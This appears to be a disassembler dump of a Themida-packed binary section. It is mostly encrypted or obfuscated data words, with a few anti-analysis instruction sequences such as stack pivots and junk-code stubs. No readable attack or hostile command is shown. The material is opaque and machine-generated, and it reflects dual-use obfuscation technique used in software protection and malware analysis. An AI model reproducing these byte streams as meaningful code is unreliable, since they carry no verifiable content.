		dd 0C239F538h, 0E057D30Ah, 0BD3CF029h, 8A11CD0Ah, 3533A7E6h
		dd 0AAE99BC9h, 0C506A72Eh, 0A1DC9209h, 0C0F5AE2Dh, 6C1F210Ch
		dd 6BDFD4D6h, 32EBB12Eh, 0C8B3F7Eh, 0A2E18353h,	0DA4E72EEh
		dd 1EBD5C4Ch, 7C745D4Ch, 7B7067FCh, 2D9BBFBCh, 6416335Ah
		dd 0F14D1C08h, 14943CA8h, 0CC25C05Fh, 3C397A61h
		dd 998DCA7Dh, 0BD08C09Dh, 82000000h, 2A447932h,	36F82541h
		dd 3B0EAA7h, 74EC58D8h,	7F7F5C78h, 71256408h, 0CCD8AD2Ah
		dd 0B4E9A26Dh, 95CA81F8h, 14CC8FE1h, 6CA95EDDh,	3E9FBCB8h
		dd 5F4A24B7h, 67FCDB9Ah, 277C302Ch, 7A314B90h, 9E0A70A1h
		dd 0E917E945h, 9980BD72h, 9E127029h, 647C51CDh,	38F433D5h
		dd 2FDA0FC1h, 9E127093h, 6EDBF773h, 40381B9Ah, 0B9970014h
		dd 0FE000003h, 0C655094Ch, 0E473E71Eh, 0D148043Dh, 0EE6DE11Eh
		dd 493FFB3Ah, 0DE1DCF3Dh, 0F93AEB6Ah, 0D510B645h, 0F429E259h
		dd 0C06B5538h, 6BDFD502h, 323F05E2h, 0AE2D3F7Eh, 61E1C8F7h
		dd 856DCC7Ch, 5DD9CDA9h, 883FB680h, 2BD712B8h, 19AF2B47h
		dd 225F04D7h, 5ED5F26Eh, 9AA67A5h, 0BBDB0AB1h, 0C9ADC90Ah
		dd 30D863DDh, 4D910AF0h, 896DA8FBh, 0F7C4999Dh,	5B571250h
		dd 0EC05208h, 0CBE27632h, 52F09BC5h, 0B26DCC5Eh, 1249FFB6h
		dd 98E5025Eh, 5E805A81h, 3E17156Dh, 0FEADDFBBh,	6DCC5F44h
		dd 0D1A7C4A0h, 0FC0349DAh, 0DFF16D67h, 8D6AA75Ch, 0D5519C2h
		dd 0C5547876h, 0C3B7980Dh, 2DAC09B4h, 0EC483C7Bh, 0CE33F608h
		dd 0A8324657h, 0D366D8CCh, 2CFEF231h, 6635C57Dh, 21452122h
		dd 0C11AB94Ch, 0C8DCFCAFh, 48242851h, 0C7FCA336h, 92442913h
		dd 0E9E9CD42h, 0EF684E7Bh, 5AE10AEFh, 0D80DB67Dh, 7035AB73h
		dd 881105FAh, 2B0h, 961255F5h, 7632691Fh, 9D114AFFh, 0B02C691Eh
		dd 94488729h, 54F86A96h, 6F229915h, 47FB7A2Eh, 22C9500Ch
		dd 827E71EDh, 0DFD63B87h, 36FEDB6Bh, 2A447932h,	8D6FCA41h
		dd 0ED0A2456h, 0A635C431h, 0A25CD5D4h, 0E15867FCh, 953AF12Eh
		dd 0B3C8AC58h, 0C4CB6AEFh, 377C318Ch, 0AAFB9F1Bh, 314B9027h
		dd 0CADE97Ah, 96110D9Eh, 9E8255E5h, 0D605145Bh,	598E3504h
		dd 49825C84h, 36CD158Ah, 0F4AB2A15h, 1AABFh, 0E650AD41h
		dd 0C2653BEFh, 0B1959185h, 918561C5h, 2B661C9Fh, 7FDEFB77h
		dd 0A2896378h, 56BABABAh, 0E2FCCE4Ah, 5D7AB157h, 44F82DD6h
		dd 74D90EB5h, 98CBA2A0h, 0F18D160Eh, 36000001h,	5EDD5194h
		dd 3CBB6FA6h, 9904C85h,	26B52966h, 0A1874382h, 1655F765h
		dd 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h,	6BDFD63Ah
		dd 3237FDDAh, 63504479h, 0B6758754h, 67FC1239h,	468759D5h
		dd 0B859A874h, 0C2A78B77h, 2542531Ah, 3CBD0DB1h, 522C3E9Dh
		dd 0FD2A5A19h, 0E0FD956Bh, 13DFBE23h, 8B41589Eh, 0FCD817B9h
		dd 0B4AE5DD8h, 2E4704B3h, 9F67B43Dh, 0C9EEA66Eh, 0C96429F3h
		dd 3BCA9F5Ah, 532D3F9Ch, 0F6AADF88h, 0CB08BB7Ah, 857E5BD7h
		dd 5D10857Ch, 508F41F8h, 0F7AB877Bh, 92C44885h,	2BA83D97h
		dd 0B328AF4Eh, 52CAF299h, 0DE3A5327h, 60974D0Ch, 31279B8Eh
		dd 63BF4305h, 40E77286h, 0EE6D4F0Bh, 2A06FA3Bh,	9FDD864Dh
		dd 9835BF1Eh, 0F99FCCB5h, 0B7E55E7Bh, 38EE5B77h, 769D2F36h
		dd 10A359Eh, 9F4F0000h,	0B359E05Ch, 9439C07Ch, 0B358DF5Bh
		dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h
		dd 0DF5B9037h, 0A91910ECh, 4D6BDFD7h, 7932C450h, 54635044h
		dd 0EEE1657Eh, 3AF1136Fh, 0CBA75B92h, 0D9D6D5A7h, 0F567FC4Bh
		dd 2ED46779h, 581AFFF3h, 0F48D07A2h, 5CE2F7DBh,	4010B782h
		dd 55724E8Bh, 10EAF108h, 0B9F7519h, 0EF11EF9Eh,	1018863Ch
		dd 13025E9Eh, 9E1018AFh, 0E090C980h, 0AEB36784h, 7EC6E08Dh
		dd 0E02DEC7h, 1F9BD077h, 90C57E3Dh, 0F06B80E4h,	87C46737h
		dd 0C7BB979Bh, 70440BA0h, 48E7B8D2h, 0D91ACB8Eh, 0A734492Dh
		dd 880FCB00h, 0DFF6AADFh, 5EDDEF2Ch, 908E6BAAh,	0FFB12806h
		dd 7918ABC0h, 0FAE40FB8h, 0B044B30Fh, 30D753C2h, 0C2B04492h
		dd 0C9BDF6ABh, 9DB9B56Dh, 1752F8C3h, 6CF2076Bh,	150136EDh
		dd 0A8E8A01Bh, 4A2B3028h, 422E1274h, 0D6009DEh,	60000000h
		dd 0D2378B7Eh, 53CFC2B0h, 6D5FAE76h, 493D8032h,	0B0649952h
		dd 463A7519h, 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h
		dd 0A75B9439h, 55417830h, 17D68CFh, 34890000h, 0E1895124h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 52240489h,	0C281E289h
		dd 4, 8704EA83h, 895C2414h, 0BD55241Ch,	613A12Eh, 89EF8957h
		dd 545D5FF8h, 81241C8Bh, 4C4h, 0B9515000h, 562F718Fh, 4244C31h
		dd 8438F59h, 8F087381h,	0FF562F71h, 815B2434h, 4C4h, 24048B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dd 0CD587F5Fh, 0C4D5D099h, 2E3CCDCDh, 13AD12B8h, 0FFC50306h
		dd 314AFAE0h, 445ABD7Fh, 42DD8D2Ch, 6AD3131Dh, 519A0858h
		dd 0AD316051h, 4588D179h, 39C7CB63h, 3A4DF776h,	57982665h
		dd 9F9A716Dh, 2D57BB4Ch, 0E6179D67h, 9B27D70Ch,	6E1A4438h
		dd 2D109511h, 148E95Eh,	500000h, 540000h, 580000h, 5C0000h
		dd 600000h, 640000h, 680000h, 6C0000h, 0B00000h, 0B40000h
		dd 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h
		dd 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h
		dd 0E80000h, 0EC0000h, 38h dup(0)
		dd 62BA0000h, 50EB0058h, 858D00A1h, 613ADEFh, 11D59D33h
		dd 85890610h, 613AF2Fh,	11F19529h, 85C60610h, 61023E5h
		dd 0F2815254h, 5CE29294h, 0F6A16859h, 0FA8BDA0Fh, 88243481h
		dd 8B346D9Eh, 100CA9B5h, 45B5FF06h, 8B06101Dh, 10096595h
		dd 7DBD2B06h, 8D061005h, 13858A85h, 85896006h, 6100845h
		dd 8F0F53h, 59000000h, 14E961h,	5C1C0000h, 0CF4B4863h
		dd 87D89017h, 5A7E10F6h, 0C70C6F1Dh, 0D0FFE003h, 6810Fh
		dd 0B5030000h, 61005D9h, 0AF338589h, 958B0613h,	6102F29h
		dd 44E9h, 559D8B00h
		db 1Bh,	10h, 6
byte_586443	db 56h			; DATA XREF: Themida_:0054BCA0o
					; Themida_:0054C1A0o ...
		dd 0AF2FB58Bh, 6890613h, 0AF2F8583h, 5E040613h,	0B58D60C3h
		dd 613ADEFh, 6A560FEBh,	0FF36FF00h, 13AF3395h, 0C6835E06h
		dd 3E8304h, 0C361EC75h,	8E9h, 930AAF00h, 9F7F42Dh, 0EA858D02h
		dd 0F0613AFh, 0C8Bh, 6890F00h, 8B000000h, 102E95BDh, 0D1858906h
		dd 0EB06102Ah, 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch
		dd 0CE00E45Ch, 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h
		dd 34DF1BCEh, 0A6DB67h,	475D2Fh, 0D5A3EA1Ah, 0
		dd 0FECA199Ch, 0FE4A0000h, 0FBh, 52DDB487h, 9ED92023h
		dd 77E7339Ch, 1124E9h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 966262B6h
		db 22h
byte_586515	db 83h,	0BDh, 9		; DATA XREF: Themida_:0054BA18o
		dd 61022h, 30850Fh, 0BE90000h, 0B8000000h, 0EF84C81h, 5C2AC205h
		dd 0B88931h, 89000000h,	102941B5h, 41BD0306h, 0C2061031h
		dd 9D010004h, 61008DDh,	1EA58589h, 0C08B0610h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 23C35343h, 335D8D8Bh
		dd 95290610h, 6102945h,	158DBD83h, 75000610h, 95BD8309h
		dd 61000h, 53501374h, 0D0B8C08Bh, 8D000004h, 12B5E99Dh
		dd 5BD3FF06h, 95BD8358h, 61000h, 53501174h, 4D0B8h, 369D8D00h
		dd 0FF0612B5h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0E3BBC356h,	0FF98B66h
		dd 0C08BFABFh, 23C78166h, 6E81Ah
		db 2 dup(0)
word_5865EA	dw 3BD5h		; DATA XREF: Themida_:0054E578o
		dd 0B0E79F40h, 8F0Fh, 8D590000h, 13B07985h, 0D78B6606h
		dd 310D8D89h, 8B900610h, 0E86050F8h, 0Fh, 5D012DCEh, 0DFE0AD7Dh
		dd 0D45533BCh, 0BE5428CBh, 7F48EF00h, 61F28B5Ah, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 858D3FA6h, 613B036h,	2820Fh,	0C0B10000h, 0D38B6650h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0CC7BC351h, 0F2442EE4h, 0F680C681h
		dd 7995FF91h, 6A061009h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 581AC356h, 0F281665Eh
		dd 0C9D5809Ch, 26E98166h, 24448B5Dh, 0B1DE8004h, 0B0618589h
		dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0AF41D4C3h, 0F9FDD58h, 448BFBBFh,	0BD2B0824h
		dd 6102935h, 16A19D89h,	85890610h, 613B075h, 75BD83F8h
		dd 61007h, 0C1850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0FE9AB1C3h, 23E585C6h
		dd 0E8470610h, 4, 0D49AA7D2h, 7C44BF50h, 448B1E90h, 89B50424h
		dd 4489008Bh, 0BF660424h, 6A58BAA0h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F52C355h
		dd 958BFFBFh, 61010D5h,	1D45B5FFh, 8B660610h, 8A858DD7h
		dd 60061385h, 0CE9h, 0F7805200h, 0B9928945h, 90C5CA93h
		dd 8D9D09C6h, 6106101Bh, 958BD0FFh, 6100B39h, 7758589h
		dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0B80A32C3h, 837A4B55h, 100D85BDh,	850F0006h
		dd 0DBh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 19h,	98C35141h, 0CCA68A0h, 8E9D0h, 6EF70000h, 23A468Dh
		dd 0DA815A64h, 6EF074E2h, 23E585C6h, 8A470610h,	61BD8BD3h
		dd 6806101Bh, 0EACDBA0h, 42240481h, 8B7B62DAh, 45B5FFCAh
		dd 6A06101Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 36BBC356h, 6AC3A376h, 2976B6CAh
		dd 10201595h, 8A858D06h, 0E8061385h, 11h, 66A12667h, 7DB727D2h
		dd 0F314708Fh, 0C58010D8h, 5964B61Eh, 95B9BA66h, 8589D0FFh
		dd 61006F5h, 0D858589h,	6A0610h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 1C25F4C3h, 0D2A429F2h
		dd 458529EDh, 83061008h, 102FB5BDh, 850F0006h, 9Ch, 0C6FE8B66h
		dd 1023E585h, 85895606h, 61022B5h, 0E212E068h, 0AE997h
		dd 0DBB50000h, 1FB96EDh, 0BB82CDE3h, 0D9243481h, 8943FD7Fh
		dd 1018F995h, 45B5FF06h, 6A06101Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F3CFC351h
		dd 28A0Fh, 0CCB20000h, 858A858Dh, 9D890613h, 6100EE5h
		dd 0B70FD0FFh, 0B58589D1h, 6A06102Fh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4E70C351h
		dd 7EBF6664h, 958B3A0Fh, 6102EA1h, 23E585C6h, 6A6C0610h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0D35FC352h, 1CD0EAC8h, 8A0FDECFh,	0Fh, 0AE9h
		dd 0D9593F00h, 8FEB96DDh, 0E86EF41Eh, 4, 0DB057083h, 0FE8h
		dd 60D79900h, 3268F8D6h, 1592ADE7h, 2EF20BD4h, 14E95250h
		dd 98000000h, 3BF84F84h, 0D7593545h, 80902F20h,	6A482C45h
		dd 0FD4FC01h, 0A80EBF31h, 585A40C0h, 800F505Fh,	4, 697CB966h
		dd 424448Bh, 0B557008Bh, 44895FACh, 7ABF0424h, 581F3CC2h
		dd 50F7BBFh, 99B5FF37h,	6A061014h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DA0EC351h
		dd 5E9h, 2C82E400h, 858D9CFFh, 6103A32h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 4EC35545h, 64C14829h
		dd 6047B113h, 1D952366h, 0FF061002h, 52006AD0h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B4B201A7h
		dd 0B0658589h, 0EE90613h, 8000000h, 8DDE43F6h, 884117B6h
		dd 0D66D7201h, 81BD83E3h, 613B0h, 8A850Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0EEDF42C3h, 23E585C6h, 6A490610h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3ACC357h
		dd 0DD70CEF7h, 8B661EE7h, 364568D1h, 0B966F69Ch, 34818A11h
		dd 891FAC24h, 99B5FF7Ah, 0F061014h, 68Fh, 1DBD0100h, 8D061022h
		dd 103A3285h, 0FD0FF06h, 686h, 51BD0100h, 89061020h, 13B08185h
		dd 0D2B70F06h, 6A046Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 153435C3h, 22F78166h, 0DDA86816h
		dd 9E98F1Ah, 66000000h,	0D5470CEFh, 54019261h, 58240481h
		dd 2970E532h, 103071B5h, 6D8D0106h, 0E8061010h,	4, 10000h
		dd 8B525060h, 0B5310FD0h, 50585A58h, 0FC38B52h,	5AF08B31h
		dd 50506158h, 0FA8B6652h, 8B66310Fh, 8B585AFBh,	0E8042444h
		dd 11h,	2E2BD4F5h, 368D5EA1h, 79F1D2C0h, 0D58DF758h, 0CE8B661Fh
		dd 0F008B59h, 118Fh, 9E800h, 590E0000h,	1AE799BAh, 53FEE225h
		dd 44895A5Ah, 66510424h, 5A4BE2B9h, 6AF558h, 0C519529h
		dd 95FF0610h, 6101F01h,	89F88B66h, 13B07185h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0C1E7669Ch, 8B95E409h, 10015D95h, 8D8B5006h,	61007A9h
		dd 6985C75Fh, 613B0h, 33000000h, 101DE9BDh, 89006A06h
		dd 10236995h, 0CB706806h, 5B53BA8h, 70243481h, 0F93BA9CBh
		dd 8931B550h, 9D292404h, 6100051h, 6A0B6Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 586CADC3h
		dd 0CE4D0EB0h, 314E830Eh, 101BB585h, 12E906h, 0C4C80000h
		dd 7ED6FE16h, 0CD14CAC0h, 29BEB81Dh, 0DDDFC758h, 0B03E858Dh
		dd 880F0613h, 6, 8ABC281h, 17B94223h, 5073EAF4h, 6E8h
		dd 0F6D50A00h, 0F4BF756h, 288h,	5F5F5700h, 81240489h, 7B6DB7E7h
		dd 7595FF0Dh, 6A061007h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 69ACC350h, 0A690E586h
		dd 69CD28FAh, 12E8h, 77FDA500h,	4E005C4Bh, 2F018F74h, 598889ABh
		dd 0E9304FACh, 11h, 2B775DC3h, 0F75BA6A3h, 57FC4A36h, 1525DF5Fh
		dd 0B58D5F0Dh, 613B048h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0A5C35141h, 6DCA2BC0h, 0C13D989Eh, 48B0Fh
		dd 0BF660000h, 0BF50010Fh, 6B026B4Bh, 8B243489h, 1020B9BDh
		dd 60605006h, 310F5250h, 11E9585Ah, 8A000000h, 859856C1h
		dd 0E0AF595Dh, 0B7B84CC1h, 510DD204h, 0F525061h, 8Dh, 5A310F00h
		dd 4896158h, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 4DA9BA09h, 11A18D8Bh, 95FF0610h
		dd 6100D85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0F1C35343h
		dd 456AE418h, 0D1503E8Eh, 0AD8D8B1Bh, 0B06100Dh, 21850FC0h
		dd 0B9000000h, 6A948D78h, 612E9h, 7E800h, 0C73B0000h, 31E0BF48h
		dd 35BB60C5h, 0F4DE36Dh, 5F61CFBFh, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0A108DAC3h
		dd 8D098F30h, 6101AC5h,	0B071B58Bh, 0BD8B0613h,	610109Dh
		dd 0E920468Dh, 6, 3709F23Ch, 46AB0CEh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 50C35242h, 0A9E6E883h, 57F987A1h
		dd 239BD8Bh, 60900610h,	78A1B960h, 5B5018DDh, 8B525061h
		dd 60310FC8h, 61585A61h, 0AE95050h, 7000000h, 536E654Fh
		dd 8C72A618h, 0E9905A2Ah, 0Dh, 0CF058D27h, 4CDCADA1h, 55A33045h
		dd 8195FF04h, 0F80613B0h, 840FC00Bh, 14h, 12818D8Bh, 8B660610h
		dd 535E9C8h, 95890000h,	610200Dh, 207E80h, 525840Fh, 0F7810000h
		dd 49F100B0h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0D8E0D0DEh, 0D5383C77h, 718D331Ch
		dd 8D06102Eh, 85892046h, 613B06Dh, 1C258D89h, 13E90610h
		dd 40000001h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	35C35141h, 73485BA1h, 0DE9829FEh, 810F5074h, 2
		dd 489FA8Bh, 75B52924h,	8906100Dh, 103069B5h, 8B046A06h
		dd 100901BDh, 91BF5006h, 8904C8B9h, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0C73172C3h
		dd 0C08A452Eh, 0D18B66E6h, 0B08195FFh, 0E7810613h, 3D33903Dh
		dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 35B1BBC3h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 8CE0C462h, 0DD55F2B0h
		dd 0AE9BAh, 0B4470000h,	908EFF8Eh, 5F710269h, 0BC9B70Fh
		dd 33840FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5C3C356h, 4EBBAC65h
		dd 334B9BDh, 100649BDh,	3D1E906h, 0BA660000h, 3880D0E2h
		dd 0E4850F00h, 6AFFFFFEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 3AF4C352h, 66F13338h
		dd 0E92ED2BAh, 7, 6D8D8948h, 3B06100Fh,	13B06D85h, 61820F06h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 5A77C351h, 0F1A5F6Ch, 0BD8BFEB7h
		dd 6101675h, 0F5C3880h,	2F84h, 0CBBF0F00h, 0F2F3880h, 0FFFFAF85h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0BD89F9CDh, 61007F5h, 83D18B40h,	13B075BDh
		dd 840F0006h, 19Ch, 2AD5BD2Bh, 0F500610h, 584h,	22A6BA00h
		dd 48979A4h, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0DFDAC3D3h, 560A58F6h, 51F98BD3h
		dd 998D8Bh, 35A0610h, 13B07585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 96673CD4h
		dd 0AE2D7DDDh, 218D3362h, 5006101Eh, 7E852h, 0C34C0000h
		dd 918C6F9Dh, 7E936h, 72AB0000h, 0E35EDFh, 89595FCFh, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 1F686C3h, 6AFE8B66h,	56006A04h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 33D047E1h, 7478B4A9h
		dd 19958901h, 8B061016h, 102D458Dh, 0D58A9006h,	0DE809050h
		dd 8195FF33h, 0B0613B0h, 102E81BDh, 2BD88B06h, 10099195h
		dd 9D895806h, 6102055h,	29358D8Bh, 0DB0B0610h, 23840Fh
		dd 0F500000h, 48Fh, 0E4BF6600h,	0F0E9594Ch, 0F000001h
		dd 686h, 0E59D8900h, 9061010h, 100509BDh, 0C606h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 90C35040h, 8A94379Fh
		dd 6A58CA8Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0B55CC352h, 0E919763Ch, 0Bh, 0DFB8A45Fh
		dd 57BD7484h, 60096656h, 31618509h, 8B660610h, 0EF8A61D8h
		dd 0D08B6650h, 66240489h, 1E6AD18Bh, 2D85BD8Bh,	50900610h
		dd 60525052h, 0BF310F61h, 7CE1F04Ch, 310F585Ah,	8E951h
		dd 684B0000h, 0DAAB4ACFh, 5A5F9FF7h, 0EE85058h,	0B7000000h
		dd 0A4F6C3CFh, 5BD874A1h, 9F1C80F1h, 59FA8BE3h,	0FFCB8B90h
		dd 13B08195h, 0D88BF806h, 0A18D2358h, 0B06100Eh, 10840FDBh
		dd 66000000h, 7AD7E981h, 10AE9h, 55B58900h, 50061010h
		dd 310F5250h, 585AD08Bh, 0E8240489h, 0Ah, 37136261h, 0DF7B52A8h
		dd 0E96046E1h, 6, 0FD06FFD6h, 95315A5Ah, 6101B35h, 0B5FF5961h
		dd 613B061h, 7D9D8960h,	0B4061022h, 95FF619Ch, 613B065h
		dd 1561958Bh, 0C00B0610h, 99850Fh, 9D310000h, 6100691h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0EB14288Bh, 0C5858960h, 0B6061022h, 958B615Dh
		dd 61004D5h, 0B06985C7h, 10613h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66CC55C3h
		dd 9B21C981h, 4AE9h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 755FCDEEh, 26FCABD4h
		dd 6E9h, 44F57C00h, 66B8DD33h, 61B6A0BAh, 81FA8B66h, 11CC6h
		dd 0C9B70F00h, 0FFFA3FE9h, 0E98D8BFFh, 0E806102Ah, 4, 8000h
		dd 47BA5160h, 5911FF93h, 506188B7h, 448BD08Bh, 8B660424h
		dd 60008BD3h, 9655AFBFh, 2820F3Ch, 0B5000000h, 44896153h
		dd 830F0424h, 2, 6A589BB1h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 110CC355h, 0F1FF280h
		dd 6AF8B7h, 41A3BF66h, 0B071B5FFh, 810F0613h, 4, 160BB966h
		dd 2FB595FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0EFB1ABC3h, 71D3B6E1h, 666F513Eh
		dd 8B35CBBAh, 13B06985h, 90B4B106h, 0E950D18Ah,	10h, 31CDE04Bh
		dd 2F1A9188h, 0B682D6AAh, 0BEEFC83Eh, 0C9953390h, 8D061030h
		dd 13B07985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8B66F35Eh, 11E890CAh, 58000000h
		dd 0C891E620h, 7438F5E8h, 0F82DCF41h, 0B9C6DD09h, 5FD68B66h
		dd 9FB59050h, 0B036858Dh, 8D890613h, 61015EDh, 901BD33h
		dd 8B900610h, 1CB550F8h, 95FFFC90h, 6101E99h, 0B458D8Bh
		dd 8B660610h, 0FC08BF9h, 0BD83CAB7h, 610158Dh, 83097500h
		dd 100095BDh, 13740006h, 0C08B5350h, 4D0B8h, 509D8D00h
		dd 0FF0612B6h, 83585BD3h, 100095BDh, 11740006h,	0D0B85350h
		dd 8D000004h, 12B54F9Dh, 5BD3FF06h, 14E858h
		db 2 dup(0)
word_5875A2	dw 8F88h		; DATA XREF: Themida_:0054B4ECo
		dd 755E19D5h, 1545DB8Dh, 4B3B962Dh, 0A01B9070h,	0BD0B1A15h
		dd 61014E5h, 52006A5Fh,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0B2974AF3h, 13E9BAh, 6DB30000h, 1648A8EDh
		dd 0F9E22E1Ah, 48B38B64h, 0DD93BABBh, 66C08B58h, 0ACA6D181h
		dd 961BA58h, 8B600D82h,	1013F9B5h, 0E7EB8106h, 617DA6F8h
		dd 310008C2h, 102ABDB5h, 6AC08B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8D12C353h
		dd 13B0AA85h, 5E906h, 669B0000h, 89EE3E64h, 1005AD85h
		dd 75E906h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 1499B5FFh
		dd 858D0610h, 613858Ah,	8589D0FFh, 6101F35h, 0EFC1FE8Bh
		dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 1F3595FFh, 32E90610h
		dd 0C6000000h, 1023E585h, 0DF685606h, 0FFA9C530h, 101D45B5h
		dd 8A858D06h, 0FF061385h, 618589D0h, 8D061012h,	101DAD85h
		dd 206A5006h, 0FF56056Ah, 10126195h, 0C1C36106h, 39EB06E0h
		dd 0C10000h, 0C102CCh, 0C102E4h, 0
		dd 4BB1F791h, 7AA8FBB5h, 2EB9F310h, 43B2F7CBh, 42B8B033h
		dd 7A929E43h, 2E90D2D3h
dword_5876F8	dd 5E93EA85h, 4688F080h, 4ABDFB80h, 2EB6FE79h, 2EDF76EAh
					; DATA XREF: Themida_:0054D0CCo
					; Themida_:0054E198o
		dd 70FC9E5Eh, 5A55C0ECh, 6A5D9AB3h, 2EC89AEFh, 789A9EE5h
		db 31h
byte_587721	db 0Dh,	57h, 9Bh	; DATA XREF: Themida_:0054CB7Co
		dd 28CC98C4h, 2EB65E37h, 2EDF760Dh, 75FC9E2Fh, 7255C554h
		dd 6A5D9AEFh, 2ECB9AC1h, 7D9F9EF2h, 7988C5BAh, 0E457F85Bh
		dd 3B5123DDh, 5BDC983Fh, 0BB611D9Eh, 2EDA8ECBh,	7D8C8791h
		dd 97645E79h, 0A7DC9E7Dh, 3ED2FB39h, 3B411358h,	0D1DA8C97h
		dd 0AD84C544h, 3EDC0B76h, 39A89EE3h, 9764CDA2h,	0A7DC9E7Dh
		dd 3ED2FB39h, 2A411358h, 0D1DA8C9Ah, 4E84C544h,	0AFBAC79Ch
		dd 4FB3EA35h, 0C68B9E98h, 2EDC9E7Ah, 711FC19Ch,	2AF8E2D7h
		dd 2AF8DAAEh, 2EDC9E82h, 4E1FC98Ch, 0EC63F897h,	441C15E0h
		dd 2D34CB79h, 0EDC9EBCh, 0A7815D03h, 0AFD8BA43h, 34D8BAD3h
		dd 6BDC9ECBh, 0DF8A5DB0h, 0CE53F3C7h, 67499598h, 0E8DA8E9Dh
